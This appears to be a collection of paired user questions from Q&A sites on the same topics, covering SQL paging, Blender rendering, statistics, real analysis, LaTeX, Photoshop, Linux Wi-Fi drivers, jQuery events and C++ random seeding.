Please help me to write an SQL query in the Oracle database. There is table called tbl and it has 12 rows. I want to select first 4 rows first then next 4 and the last 4 rows.  Can any anyone tell me how can I do this in Informix.

I am not as familiar with Oracle as I would like to be.  I have some 250k records, and I want to display them 100 per page.  Currently I have one stored procedure which retrieves all quarter of a million records to a dataset using a data adapter, and dataset, and the dataadapter.Fill(dataset) method on the results from the stored proc.  If I have "Page Number" and "Number of records per page" as integer values I can pass as parameters, what would be the best way to get back just that particular section.  Say, if I pass 10 as a page number, and 120 as number of pages, from the select statement it would give me the 1880th through 1200th, or something like that, my math in my head might be off.    I'm doing this in .NET with C#, thought that's not important, if I can get it right on the sql side, then I should be cool.   Update:  I was able to use Brian's suggestion, and it is working great.  I'd like to work on some optimization, but the pages are coming up in 4 to 5 seconds rather than a minute, and my paging control was able to integrate in very well with my new stored procs.


I have problem with a simple cube. When i zoom at max in there is that issue, and i dont know what is the problem and even what title to set to this question.

I have recently started using blender and one of the models I'm working on has dark shadows along edges. I started this model from scratch. I can't remember them being there when I first started the model, but I had trouble joining areas together and think I've pressed something I shouldn't have. However, there are so many options I'm not sure what I did.  Here is an image of what I mean   The one on the left has the shadow. As a test I started a new model, which is on the right in the image, and as you can see it doesn't have any shadows.  Also, occluded vertices partially show through the model. Occlusion doesn't work properly.   In orthogonal view small darkened triangles appear along the the edges.    I don't really want to start the model again from scratch so any ideas on how to remove this shadow would be great. Thanks.


I'm trying to find out how accurate percentile is. I have used scipy.stats to calculate the rank of percentile. However, it doesn't match the one I have coded.  I have a few questions. Say 25th percentile. Does it mean, equal or below 25th percentile or below 25th percentile? Now please have a look at the code and I will try to explain why I am confused.  import numpy as np from scipy import stats  def percentile_score(arr, n):     o = 0     for a in arr:         if a <= n:             o += 1     return np.round(o / len(arr) * 100, 2)  def percentile_test(min_val, max_val, total, seed=0):     if seed > 0:         np.random.seed(1)     r = np.random.randint(min_val, max_val+1, total)     p1 = percentile_score(r, 1) # calculate percentage of <= 1     p2 = percentile_score(r, 2) # calculate percentage of <= 2     p3 = percentile_score(r, max_val) # calculate percentage of <= max     print("Min / Max                    : {} / {}".format(np.min(r), np.max(r)))     print("#1 count vs percentile       : {}% vs {}%".format(p1, stats.percentileofscore(r, 1)))     print("#2 count vs percentile       : {}% vs {}%".format(p2, stats.percentileofscore(r, 2)))     print("Number #50 probability (<=)  : {}% vs {}".format(p3, stats.percentileofscore(r, 50)))  percentile_test(1, 50, 1500, seed=1)   OUTPUT  Min / Max                    : 1 / 50 #1 count vs percentile       : 2.13% vs 1.1% #2 count vs percentile       : 3.8% vs 3.0% Number #50 probability (<=)  : 100.0% vs 99.26666666666667   If percentile necessarily means <=, then #50 must be 100% if it means <, in this case #1 must be 0  Also the calculations I have found don't match with the expected value. What am I  missing here?

Given the following data:  972, 975, 985, 993, 993, 995, 998, 1001, 1004, 1007, 1008, 1009, 1011, 1015, 1016, 1020, 1022, 1032  I calculate the lower quartile as follows:  Number of values: 18, Number of 'gaps': 17.  Lower quartile is at 17/4 + 1 = 5.25th value. 5.25th value is 993 + (995 - 993) x 0.25 = 993.5  Upper quartile is at 3 x 17/4 + 1 = 13.75th value. 13.75th value is 1011 + (1015 - 1011) x 0.75 = 1014  Both the Excel QUARTILE function and the R quantile function agree with me. However the book I am using (Understanding Statistics by Graham Upton and Ian Cook) give different answers (993 and 1015 respectively). I'm confused. Which is correct?


When shooting in natural or ambient artificial light (without flash, basically), how do light, shutter speed, ISO and aperture work together to control exposure?

What is the exposure triangle? How do the "sides" affect my photographs?


Since residue classes modulo $p$ are not numbers but sets of numbers with several operations defined on them, i don't think we can compare them at all. Yet i'm not sure.  For sake of an example lets take $p = 2$. We can claim that,  $$[0]_2 < [1]_2.$$  But wouldn't that mean any odd number is greater than any even number? Which is obviously false...  After all, if we generalize this question, does an ordered finite field exist?

I have a set S={0,1}, and the addition and multiplication rules are  \begin{array}{c|cc} +&0&1\\ \hline 0&0&1\\ 1&1&0 \end{array}  \begin{array}{c|cc} *&0&1\\ \hline 0&0&0\\ 1&0&1 \end{array}  It is sure that it is a field. How can I prove this field can be ordered or not?


How do I type 1A in LaTeX as in the snippet below?

I am trying to put two subscripts at the left and right of a character. For example, something like:  _{t} p_{x}  where p is in the middle. How do you do this?


So, I'm doing a picture in Photoshop, and I'm gonna need to use the warp tool to, well, warp layers. Many of them. And I need to be precise. So I'd like to be able to save the current warp, and be able to apply it next time. Or, alternatively, I'd like to be able to edit one of these few already saved warps that can be selected from the droplist.   Is it possible? It should be, right?

I have a photo of a blank exhibition stand and I wanted to add some content to it to show how it might look. The stand is curved and the photograph is taken at an angle. I hoped I might be able to:   Draw around the outline of the exhibition stand Convert the outline to a mesh Add text and bitmaps that automatically warp to fit the mesh, so they look like they're actually on the exhibition stand.   I’ve played about with all the warp/perspective/gradient mesh/3D tools in Illustrator and Photoshop but can’t find anything suitable. Illustrator’s perspective tool works for straightforward perspectives, but doesn’t appear to work with irregular shapes such as mine.  I can‘t find anyone else wanting to do this – perhaps I’m approaching it the wrong way? How do I go about it?


From what I have read, the evolution of a quantum state is determined by the Hamiltonian (Schrodinger equation). However, I'm trying to understand if the Hamiltonian itself can be fully derived from the quantum state, or if it needs to be defined externally. From my understanding, the Hamiltonian includes information about the potential energy (when particles are interacting, etc), and that the laws of physics are actually "embedded" in the Hamiltonian, and not in the actual state vector. Is this correct, or does the state vector itself contain information about all the laws of physics? I hope my question is clear... Thanks!

Is it possible to "construct" the Hamiltonian of a system if its ground state wave function (or functional) is known? I understand one should not expect this to be generically true since the Hamiltonian contains more information (the full spectrum) than a single state vector. But are there any special cases where it's possible to obtain the Hamiltonian? Some examples would be really helpful.


Can anyone suggest me any algebraic topology books which are written in a lucid language than Allen Hatcher but in that same pattern. If someone of Mathstack member has written or they know some easy pdf notes on this topics please let me know. It will be of a great help.

Allen Hatcher seems impossible and this is set as the course text?  So was wondering is there a better book than this? It's pretty cheap book compared to other books on amazon and is free online.   Any good intro to Algebraic topology books?  I can find a big lists of Algebraic geometry books on here. On a very old thread on Maths overflow someone recommended that a person should read James Munkres Topology first, then you should read Allen Hatcher book.   It just seems like Rudin's book but crammed with ten times more material.


Let $(a_n)_{n \geq 1}$ be a bounded sequence of real numbers. Then  There is a subsequence of $(a_n)_{n \geq 1}$ which is convergent.  There are infinitely many subsequences of $(a_n)_{n\geq 1}$ which are convergent.   My Attempt: If we take a term of the sequence and repeat it infinitely then it becomes a constant subsequence of a given sequence. So option 1 is trivially true. Note that the given sequence is not necessarily bounded. For 2, take a sequence {1,2,1,2,1,2,1,2...} Which is bounded. We see that there are three subsequences {1,1,1,1...}, {2,2,2,2,...}and{1,2,1,2,1,2,1,2,...} Out of which {1,1,1,1...}, {2,2,2,2,...} are convergent. These are not infinitely many. So option 2 discarded. But I have seen any where that option 2 is a result which is always true. Please clear my doubt giving some hints or proofs.

The proof is from the book Advanced Calculus: An Introduction to Linear Analysis by Leonard F. Richardson  Theorem (Bolzano-Weierstrass): Let $x_n$ be any bounded sequence of real numbers, so that there exists $M \in \mathbb{R}$ such that $|x_n|\leq M$ for all $n$. Then there exists a convergent subsequence $x_{n_k}$ of $x_n$. That is, there exists a subsequence $x_{n_k}$ that converges to some $L \in [-M,M]$.  Proof: We will use the method of interval-halving introduced previously to prove the existence of least upper bounds. Let $a_1=-M$ and $b_1=M$. So $x_n \in [a_1,b_1]$, for all $n \in \mathbb{N}$. Let $x_{n_1}=x_1$. Now divide $[a_1,b_1]$ in half using $\frac{a_1+b_1}{2}=0$.     i. If there exist $\infty$-many values of $n$ such that $x_n \in [a_1,0]$, then let $a_2=a_1$ and $b_2=0$.      ii. But if there do not exist $\infty$-many such terms in $[a_1,0]$,   then there exist $\infty$-many such terms in $[0,b_1]$. In that case,   let $a_2=0$ and $b_2=b_1$.   Now, since there exist $\infty$-many terms of $x_n$ in $[a_2,b_2]$, pick any $n_2>n_1$ such that $x_{n_2} \in [a_2,b_2]$ in half and pick one of the halves $[a_3,b_3]$ having $\infty$-many terms of $x_n$ in it. Then pick $n_3>n_2$ such that $x_{n_3} \in [a_3,b_3]$. Observe that  $$|b_k-a_k|=\frac{2M}{2^{k-1}} \rightarrow 0$$  as $k \rightarrow \infty$. So if $\epsilon > 0$, there exists $K$ such that $k \geq K$ implies $|b_k-a_k|< \epsilon$. Thus if $j$ and $k \geq K$, we have $|x_{n_j}-x_{n_k}|<\epsilon$ as well. Hence, $x_{n_k}$ is a Cauchy sequence and must converge. Since $[-M,M]$ is a closed interval, we know from a previous exercise that $x_{n_k} \rightarrow L$ as $k\rightarrow \infty$ for some $L \in [-M,M]$.      $\blacksquare$  I boxed the part I didn't understand. I don't understand how we know which interval has $\infty$-many values of n for $x_n$ to be in that interval. Take $(-1)^n$ for example, I feel like both intervals $[-1,0]$ and $[0,1]$ have $\infty$-many values of $n$ such that $x_n$ are in the intervals, i.e., $1 \in [0,1]$ and $-1 \in [-1,0]$. Aren't both even numbers and odd numbers of $n$ be infinitely many in $\mathbb{N}$? Since $\mathbb{N}$ is $\infty$-many, how can we extract one set with $\infty$-many and another with finitely many numbers? I just can't convince myself to accept this part.


I'm making a desktop dictionary which gives meaning with audio pronouncation and also user could record his pronouncation in .wav format..... and the application would tell him how prefect he is in his pronouncation.......! I want to known whether there is way that could help me in comparing the audio file in .wav format....? *Not the size actually but the pronouncation.....* I'm using visual studio 2008

Where can I find a free, very quick, and reliable implementation of FFT in C#?  That can be used in a product? Or are there any restrictions?


Consider the integral:  $$\int^{\infty}_{0}\frac{\cos(ax)-\cos(bx)}{x}\,dx$$  I found this problem in a subject test problem set and I'm unsure how to solve it without using the residue theorem.   I've simplified it to $$\int^{\infty}_{0}-2\frac{\sin\left(\frac{(a+b)x}{2}\right)\sin\left(\frac{(a-b)x}{2}\right)}{x}\,dx$$ but still unsure where to go from here.   There's a hint in the problem that says: " Rewrite numerator as integral over sine, estimate, and exchange order of integration." but I don't see a helpful bound to use. Bounding using the fact that $|\sin|\le 1$ hasn't gotten me anywhere helpful.   Any ideas?

I think this question would be with complicated methods in singularity or other kind of methods. I need to solve the integral $$\int_0^\infty\frac{\cos(ax)-\cos(bx)}{x}dx$$ Thanks a lot.


Why does $\int_1^\infty \sin(x\log x)\,dx$ converge?  I haven't got a clue about where to being with this, any help would be appreciated.

I tried a couple of substitutions but have so far gotten nowhere. Can anyone guide me in the right direction? Thanks for your time.


which sentence is correct ? 1.one of the most contentious issues has been the one related to caste-based reservations in education and employment. 2.one of the most contentious issues has been the one relating to caste-based reservations in education and employment.

I read this sentence in a book.  However, it does not solve specific problems relating to a business or a profession.  I, myself, often use related to instead of relating to. Is there any difference?


I am struggling with choosing metric that I will use to compare models performance and hiperparam search. My task is similar to fraud detection.  I have found out that many people states PR is better curve than ROC for comparing performance on imbalanced data (absolutely my case). I will run probably run hundreds of experiments so I would rather stick to one metric with one number.  That is why I am looking for AUCs of PR and ROC. I found out that imbalanced data has actually bigger influence on PR AUC than ROC AUC. Do you think I should use ROC AUC or FPR at given recall point or there is something wrong with my plots? Is PR curve better tha ROC curve for imbalanced data but it is opposite with their AUCs?   Scores obtained by sampling from different Gaussian dist with mean = 0.1 for class 1 and mean=1 for class 1. Scores Histogram: green- scores for class 1, blue scores for class 0

I just finished reading  discussion. They argue that PR AUC is better than ROC AUC on imbalanced dataset.   For example, we have 10 samples in test dataset. 9 samples are positive and 1 is negative. We have a terrible model which predicts everything positive. Thus, we will have a metric that TP = 9, FP = 1, TN = 0, FN = 0.  Then, Precision = 0.9, Recall = 1.0. The precision and recall are both very high, but we have a poor classifier.  On the other hand, TPR = TP/(TP+FN) = 1.0, FPR = FP/(FP+TN) = 1.0. Because the FPR is very high, we can identify that this is not a good classifier.  Clearly, ROC is better than PR on imbalanced datasets. Can somebody explain why PR is better?


For positive integers $a_{1}, a_{2}\cdots, a_{k},$ define $\gcd(a_{1}, a_{2}\cdots, a_{k})$ to be the largest positive integer $d$ such that $d$ divides every $a_{i}$ and any positive integer $c$ that divides every $a_{i}$ also has to divide $d.$ Is it true that there are integers $m_{i},$ not necessarily positive, such that $d= \sum_{i= 1}^{k}m_{i}a_{i},$ right ? How can i prove this ? I was thinking maybe one could use mathematical induction but i'm not quite sure.

Given $a_1, a_2, a_3, \ldots , a_n$ not all zero, show $\gcd(a_1, a_2, a_3, \ldots , a_n)$ is the least positive integer that can be expressed in the form $a_1x_1+a_2x_2+ \ldots +a_nx_n$. Also deduce $a_1x_1+a_2x_2+ \ldots +a_nx_n = b$ has solutions $\iff \gcd(a_1, a_2, a_3, \ldots , a_n)|b$.   I know that $ax+by=n$ has integer solutions $\iff \gcd(a,b)|n$. I'll need to use induction to show $a_1x_1+a_2x_2+ \ldots +a_nx_n = \gcd(a_1, a_2, a_3, \ldots , a_n)$ has solutions, and then I will be able to say that as $\gcd(a_1, a_2, a_3, \ldots , a_n) | a_1x_1+a_2x_2+ \ldots +a_nx_n $ for any $x_1,x_2, x_3 \ldots x_n$ then $c \leq \gcd(a_1, a_2, a_3, \ldots , a_n)$ and $c \geq \gcd(a_1, a_2, a_3, \ldots , a_n)$, and thus $c=\gcd(a_1, a_2, a_3, \ldots , a_n)$.


We need to find out the domain for which the following function is defined and holomorphic:  $$f(z)=\int\limits_{-1}^{1}\frac{e^{tz}}{1+t^2}dt$$  How do we proceed to this kind of problem?  Any hints please?

Let $f$ be a continuous complex-valued function on the unit interval. For any complex number $z$, define $F(z)=\int _0 ^1 f(t) e^{zt} dt$.  How do I show that $F$ is entire?


I am unsure if my proof for this is correct. Need verification, please!  QUESTION: Show that the condition A = B is not a necessary one for $P(A) \cup P(B) = P(A \cup B)$ by finding examples of sets A and B such that $P(A) \cup P(B) = P(A \cup B)$ but $A \ne B.$  SOLUTION: Let A = {1,2} , B={1}  $P(A)$ = {{1},{2},{1,2}, $\varnothing$}  $P(B)$ = {$\varnothing$ , {1}}  $P(A)\cup P(B)$ = {$\varnothing$ , {1}, {2}, {1,2}}  $A \cup B$ = {1,2}  $P(A\cup B)$ = {$\varnothing$, {1}, {2}, {1,2}}.   Thus, $P(A\cup B)$ = $P(A) \cup P(B).$ However, $A \ne B$.

It is possible to find additional assumptions on the sets $A$ and $B$ so that in fact $P(A)\cup P(B) = P(A\cup B)$.  Prove that for all sets $A$ and $B$, if $A=B$ then $P(A)\cup P(B) = P(A\cup B)$.   Solution: Suppose $A=B \implies P(A) = P(B) \implies P(A) \cup P(B) = P(A)$ and $P(A \cup B) = P(A \cup A) = P(A)$.  Thus, $P(A) \cup P(B) = P(A) = P(B) = P(A \cup B)$  By containment (or inclusion), let $X \in P(A \cup B) \implies X \subseteq (A \cup B).$  $\implies X \subseteq (A \cup A) = (B \cup B) \implies X \subseteq A=B$.  $\implies X \in P(A) = P(B) \implies X \in P(A) \cup P(B)$.  $\implies P(A \cup B) \subseteq P(A) \cup P(B)$.   As $P(A \cup B) \supseteq P(A) \cup P(B)$. Thus, $P(A) \cup P(B) = P(A \cup B)$.


I have ssh access to my Linux server and I want to check whether port 25 open or not.  I discussed with hosting service provide and they said port 25 is open.  I checked using PHP script for port 25 and it says it is open.  I want to know how to check using command on linux server like in Windows I can use telnet example.com 25  Any idea?

I would like to see what ports are open on my machine, e.g. what ports my machine is listening on. E.g. port 80 if I have installed a web server, and so on.  Is there any command for this?


I want to show that the variable $X$ is significant. In model 1, I use financial statements variables, other macroeconomic variables and $X$. Here, $X$ is siginificant at a 10% level and $R^2$ is 0.731. Since financial statements could have time lag, I have to check that effect so I made adjusted model 2. In here $X$ is insignificant but $R^2$ is 0.721. So, I can say that "since $R^2$ is decreased, model 1 is better and $X$ is significant variable"?

I was skimming through  by Cosma Shalizi (in particular, section 2.1.1 of the ), and was reminded that you can get very low $R^2$ even when you have a completely linear model.  To paraphrase Shalizi's example: suppose you have a model $Y = aX + \epsilon$, where $a$ is known. Then $\newcommand{\Var}{\mathrm{Var}}\Var[Y] = a^2 \Var[x] + \Var[\epsilon]$ and the amount of explained variance is $a^2 \Var[X]$, so $R^2 = \frac{a^2 \Var[x]}{a^2 \Var[X] + \Var[\epsilon]}$. This goes to 0 as $\Var[X] \rightarrow 0$ and to 1 as $\Var[X] \rightarrow \infty$.  Conversely, you can get high $R^2$ even when your model is noticeably non-linear. (Anyone have a good example offhand?)  So when is $R^2$ a useful statistic, and when should it be ignored?


My click event handler is not firing on newly appended list items.  Here are my list items markup:

product colour 1

product colour 2

product colour 3

product colour 4

   My styling for the above list items:  .product-colours li {      cursor: pointer;      padding: 5px; }  .product-colours .available {      border: 2px solid #999; }  .product-colours .selected {      border: 2px solid #333; }  .product-colours .not-available {      border: 2px solid #f00;      cursor: not-allowed; }   I am playing around with these list items. When I click on a list item, I then execute some server code in C# and return a JSON result. This result I take and add additional items to the above already created list items.  Here is my jQuery code for the click event handler:  $('.product-colours li').click(function () {      if (this.id) {           $.ajax({                data: { sku: this.id },                dataType: 'json',                url: '/MyWebsite/Product/Test'           }).done(function (data) {                var productColours = $('ul.product-colours');                $.each(data.Products, function (i, productColour) {                     if (productColour.IsAvailable) {                          if (productColour.IsSelected) {                               productColours.append('
' + productColour.Name + '
 ');                          }                          else {                               productColours.append('
' + productColour.Name + '
 ');                          }                     }                     else {                          productColours.append('
' + productColour.Name + '
 ');                     }                });           }).fail(function () {                alert("error");           });      } });   After a new list item is added by doing productColours.append() it displays correctly. When I go and click on the appended list item the click is not picked up by the event handler. The event handler is fired from the items added when the page loaded, but it is not firing on the newly added items. Why is this?

I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


I'm a Linux noob and I can't get my WiFi BACK to work properly. THE PROBLEM: Around a week ago, the WiFi on my notebook started to fail, so, as the problem persisted, I've just wiped it with a fresh UBUNTU 20.04.1 LTS, but the problem persists: Internet connection works for a while, but navigation periodically stops working for around 1 minute, then gets back to normal. NOTES:  The problem happens exclusively on that machine. The problem doesn't occur when I plug in a USB WiFi adapter. Anything I "ping" to responds without packet loss, during the problem, at the same time I can't access them though the web browsers (Firefox and Chrome). Channels are fixed to 20MHz on the router.  DATA I'VE COLLECTED: sudo lspci -v 12:00.0 Network controller: Broadcom Inc. and subsidiaries BCM4313 802.11bgn Wireless Network Adapter (rev 01) Subsystem: Dell Inspiron M5010 / XPS 8300 Physical Slot: 0-1 Flags: bus master, fast devsel, latency 0, IRQ 17 Memory at fbc00000 (64-bit, non-prefetchable) [size=16K] Capabilities: [40] Power Management version 3 Capabilities: [58] Vendor Specific Information: Len=78 <?> Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+ Capabilities: [d0] Express Endpoint, MSI 00 Capabilities: [100] Advanced Error Reporting Capabilities: [13c] Virtual Channel Capabilities: [160] Device Serial Number 00-00-9d-ff-ff-c3-1c-65 Capabilities: [16c] Power Budgeting <?> Kernel driver in use: bcma-pci-bridge Kernel modules: bcma  rfkill ID TYPE      DEVICE      SOFT      HARD 0 wlan      phy0   unblocked unblocked 1 bluetooth hci0   unblocked unblocked  WHAT I HAVE TRIED: -1- Following  thread. sudo apt install linux-firmware sudo reboot sudo apt install firmware-b43-installer sudo modprobe -r b43 sudo modprobe b43     sudo rfkill unblock all sudo reboot  -2- By impulse I tried to use the "Software & Updates > Additional Drivers" to install the "Broadcom 802.11 Linux STA wireless driver source from bcmwl-kernel-source (proprietary)"; Not only the problem persisted, but also I couldn't install anything from the Ubuntu Software application until I reinstalled the OS again, as an error message was shown. -3- By despair Disabled IPV6; No difference. I'd really thank If someone can help me to solve that problem.

I'm having serious problems installing the Broadcom drivers for Ubuntu. It worked perfectly on my previous version, but now, it is impossible.   What are the steps to install Broadcom wireless drivers for a BCM43xx card?  I'm a user with no advance knowledge in Linux, so I would need clear explanations on how to make, compile, etc.    lspci -vnn | grep Network showed:   Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller [14e4:432b]      iwconfig showed:  lo        no wireless extensions. eth0      no wireless extensions.   NOTE: Answer below is updated every time new information is added and confirmed working.


I realise that this is probably simple and basic to you guys, its for my childs homework and I don't have any experience or idea on the use of Python. She needs to get the code to request a number, multiply it by 9 and show the result. She is using the code below, however it repeats the number rather than multiply it. (ie it show 3 * 9 as 999 instead of 27). From what I have read it appears this is something to with multiplying integer by strings (though I may be wrong). Any help would be greatly appreciated.  number=input("Enter a number to multiply by 9 ") number=number*9 print('the answer is '+number)

In Python, how can I parse a numeric string like "545.2222" to its corresponding float value, 545.2222? Or parse the string "31" to an integer, 31?  I just want to know how to parse a float str to a float, and (separately) an int str to an int.


I am writing a review, and am looking to convey a sense that, even though my report may not agree with, or have reservations about an aspect of their job, they suck it up, and carry out their job duties. I see a few posts on , but they don't provide alternatives (the ones I've looked at were asking more about meaning vs synonyms). EDIT:  I wasn't clear enough that I'd like to emphasize the positive aspect of this, and just use words/phrases with positive connotations; that reflect that they're accepting this unpleasant aspect without complaints.

I came across the phrase, “suck it up and go” in the columnist’s answer to a question from a reader of Carolyn Hax's column in Washington Post’s “Lifestyle” section (July 2nd).  The Q&A titled “Ever the aunt, never the godmom” begins with the following sentence:     “Dear Carolyn: We just got an invitation to the baptism of my seventh nephew on my husband’s side. Once again we were not considered as godparents. I felt snubbed. -- Is this a legitimate snub? Should I talk to my sister-in-law about it?”    and Carolyn answers:     “Boycotting the baptism in a wounded huff would be petty, yes, and that’s the main reason to suck it up and go - but you also need to go because nothing would undermine your own purpose more tidily than staying home.”   I checked the meaning of “suck it up and go” in English Japanese dictionaries at hand only to find one of them shows “suck it and see” meaning “to try” as a British and  Australian usage. Online dictionaries register “suck it (up) and “go suck,” but not “suck it up and go.”   What does “suck it up and go” mean? Is it an American version of “suck it and see”?


If the sequence $\{a_{n}\}$ of real numbers converges to $a \in \mathbb{R}$, prove that the sequence $\{b_{n}\}$ where $b_{n} = \frac{1}{n} \sum_{k=1}^{n} a_{k}$ also converges to $a$. Prove also that the converse is not necessarily true.  I know that since $\{a_{n}\}$ converges, it is a Cauchy sequence. But I am not sure if this is helpful in proving that $\{b_{n}\}$ also converges to the same point.

I have this problem I'm working on. Hints are much appreciated (I don't want complete proof):  In a normed vector space, if $ x_n \longrightarrow x $ then  $ z_n = \frac{x_1 + \dots +x_n}{n} \longrightarrow x $   I've been trying adding and subtracting inside the norm... but I don't seem to get anywhere.  Thanks!


I recently saw a question where someone asked for StackOverflow users to convert some Javascript code to PHP, since he didn't know how. Unsurprisingly, this questions was downvoted and flagged, as it's not what the site is for.   Would it be unethical and/or against the rules for a user to post a comment, offering to complete the requested task outside of SO (assuming it's a valid question, not a question such as a homework problem)? In essence, the user is offering to consult for the original poster and solve his problem.

I stumbled across an answer on Stack Overflow that said something like:     Hey, you could do that by using XXXXXXX, but if you get really stuck,   I could do that for you in exchange of a small fee.   Is it ok for answerers to try and charge money in exchange for more help? Or is this unacceptable behavior?


my macbook air shuts down 0-30 seconds after I unplug it from the magsafe.   the computer says it's at 90%, and charging; I did an SMC reset, ran apple diagnostics (no issues detected), cleaned the port, tried using a new magsafe cable, and the system report on the battery is as follows:  Model Information:  Serial Number:    D8651634CATF90JA9  Manufacturer:   SMP  Device Name:  bq20z451  Pack Lot Code:    0  PCB Lot Code: 0  Firmware Version: 511  Hardware Revision:    000a  Cell Revision:    1210  Charge Information:  Charge Remaining (mAh):   5735  Fully Charged:    No  Charging: Yes  Full Charge Capacity (mAh):   6441  Health Information:  Cycle Count:  478  Condition:    Normal  Battery Installed:    Yes  Amperage (mA):    283  Voltage (mV): 8226  The I/O board was replaced a few months ago, so I don't think thats the issue.

I have a MacBook Air, 2009, with a recently replaced Apple battery in December 2012. Recently, when power cord comes off, the computer shuts down. Also, it usually will not restart unless power cord is attached.


I’ve been trying to update Xcode and it seems to be stuck after the download. After sitting and waiting for a while, it seems to have restarted the entire process of downloading and updating again. I’ve currently been staring at it stuck the second time around for about 8 minutes. I’ve included a screenshot of what it looks like alongside the console.  Any tips?

I'm unable to upgrade Xcode 11GM to 11.1 for some time on my Mid 2014 MacBook Pro running macOS Catalina. I've installed Xcode from Mac AppStore ages ago (IIRC circa 2014), and upgraded step by step since then. Currently, I'm experiencing the following loop:   AppStore reports that I have an update. I open AppStore, open updates, click "Update" on Xcode. Mac Downloads ~2.5GB first. Installs that patch. Continues to get the full package (~7.6GB). It starts to install. After some churning and install, it reports "Cannot download Xcode now, please try again later."   I have more than enough space on the disk, and nothing is modified in Xcode or in the OS (no homebrew or something similar).  Did anyone experience something similar? Are there solutions to this?


Someone is gathering a crew with aliens from different planets (including humans), and between them there is a woman whose special skill is extreme luck.  Sorry, no more details except I picked up the book from a list of top classical sci-fi books.

There was a book (it actually had a second book as well) where a guy gets paid with a group of others to go to a planet that is enclosed in a metallic sphere.   There are many species in this planet. I don't recall if they actually met the races in the first or the second book but there an incident where an alien in the first book ate fruit from a tree that removed any signs of gender from it.


I need this symbol and I don' t find it.  I need the : t  Only I find the $\tau$ but it is not  Can you help me?    Thanks

I know what my symbol or character looks like, but I don't know what the command is or which math alphabet it came from. How do I go about finding this out?


In one of my classes at school, part of my assignment includes creating a constructor that assigns random values into a 2D array. While I have been able to create the array, have the constructor assign random values into said array, I cannot seem to create multiple objects with different 2D arrays. Any object I make seems to hold the same values previously assigned to the first one. I am fairly new at c++ so I assume the answer is barely flying over my head. TIA  #include <ctime> #include <cstdlib> #include <iostream>  using namespace std;  const int sizeOfArray = 3; int myArray;//a  class Matrix { public:   int myArray[sizeOfArray][sizeOfArray];//a   Matrix ()//b   {     srand(time(NULL));     for(int i = 0; i < sizeOfArray; i++){       for(int j = 0; j < sizeOfArray; j++){       myArray[i][j] = rand() % 10;       }     }   }    void printMyArray();  }; void Matrix::printMyArray()//c {   cout<<"The Matrix is as follows: \n"<<endl;   cout<<myArray[0][0]<<"\t"<<myArray[0][1]<<"\t"<<myArray[0][2]<<"\n"<<endl;   cout<<myArray[1][0]<<"\t"<<myArray[1][1]<<"\t"<<myArray[1][2]<<"\n"<<endl;   cout<<myArray[2][0]<<"\t"<<myArray[2][1]<<"\t"<<myArray[2][2]<<"\n"<<endl; }  int main() {   Matrix matrix;   matrix.printMyArray();    Matrix natrix;   natrix.printMyArray();    return 0; }   I want the output to spit out two different arrays, however, the same array is repeated twice with the output as:   The Matrix is as follows:  4   0   9  6   0   4  6   3   0  The Matrix is as follows:  4   0   9  6   0   4  6   3   0

I need a 'good' way to initialize the pseudo-random number generator in C++. I've found  that states:     In order to generate random-like   numbers, srand is usually initialized   to some distinctive value, like those   related with the execution time. For   example, the value returned by the   function time (declared in header   ctime) is different each second, which   is distinctive enough for most   randoming needs.   Unixtime isn't distinctive enough for my application. What's a better way to initialize this? Bonus points if it's portable, but the code will primarily be running on Linux hosts.  I was thinking of doing some pid/unixtime math to get an int, or possibly reading data from /dev/urandom.  Thanks!  EDIT  Yes, I am actually starting my application multiple times a second and I've run into collisions.


I tried compositing, changing render settings, etc. None of them worked. Is there a setting in which can fix this?

I'm designing this animal-type creature, and want to add a transparent .png image to its face with the face features (object has a subsurf). On the left is the image with the features, on the right is the part of the object where I want it to be.    I tried to import the image as a plane, but matching the shape of the plane with the face didn't work, and the lines of the face left shadows on the head, and could be seen as a different object from some angles (although it's the closest I've gotten yet). It looked like this:    So , I tried selecting the faces of the head that the features should go over, and create a new material for it. Unfortunately, since the .png is transparent, the result produced was this:    (where it's impossible to tell the transparency from a black background default color, and where I wouldn't know where to start to adjust size and position).  I also tried UV mapping, but then the whole object became black with the features repeated all over.   Is it something I have to go into Nodes for? I'm kind of stuck here. Creating a new material and applying it is simple, but applying a material that is an image is a bit more complex it seems... Ideally, I would reproduce the same technique for the adhesive bandage on its arm (seen on the right of image 1).


(Note that this is entirely an academic question... I'm just curious about the answer, not trying to solve any particular problem.)  From the ECHO(1) manual page (GNU echo):     NOTE: your shell may have its own version of echo, which usually supersedes the version described here.  Please refer to your shell's documentation for details about the options it supports.   From the ECHO(1) manual page (BSD echo):     Some shells may provide a builtin echo command which is similar or identical to this utility.  Most notably, the builtin echo in sh(1) does not accept the -n option.  Consult the builtin(1) manual page.   When running echo from the shell, an internal command is run, but specifying a full path e.g. /bin/echo, the external program is run.  What's the justification for having the shell itself implement that particular command. There are definitely commands which must be implemented by the shell (e.g. cd, read, etc.) but why echo? Is it because it's used so often, and the time-savings for avoiding process setups and context-switches is measurable -- especially historically?  Ignoring the fact that e.g. bash has a huge number of not-strictly-necessary features, why didn't things like expr, [/test, mkdir, rmdir, etc. make it into shells if the speed factor was important? Things like mkdir and rmdir whose implementation is almost literally a single call to a libc function would seem to be obvious candidates for inclusion.

$ which echo echo: shell built-in command. $ which ls /bin/ls $ which cat /bin/cat   Why is echo not an independent utility like ls, ps, cat etc? Why is it shell specific? Any good reasons?


I recently had many visual bugs due I changed the name of my home folder's username, one of them is a bigger title bar text than usual. I've not found a way to modify this yet sadly, so I came here to ask Ubuntu how.

When monitor resolution is increased I want to increase title bar's font size as well. How can I achieve this?


I've modeled some interiors and lighted them with a simple area light. I'm currently trying to bake the lighting to a lightmap that I can then import into Unity3D Free Version (which doesn't have very good lighting for interiors, and that's why I'm making the lightmaps on blender). However, the baked lightmap seems to be poor in quality even though I made the texture 2048x2048. It's kinda hard to explain, but basically the gradients are choppy, as if the image was compressed. This is very subtle if I look at the lightmap itself on paint (albeit still visible), but the effect is magnified once the lightmap is applied to a colored material on unity3d:   My baking settings:

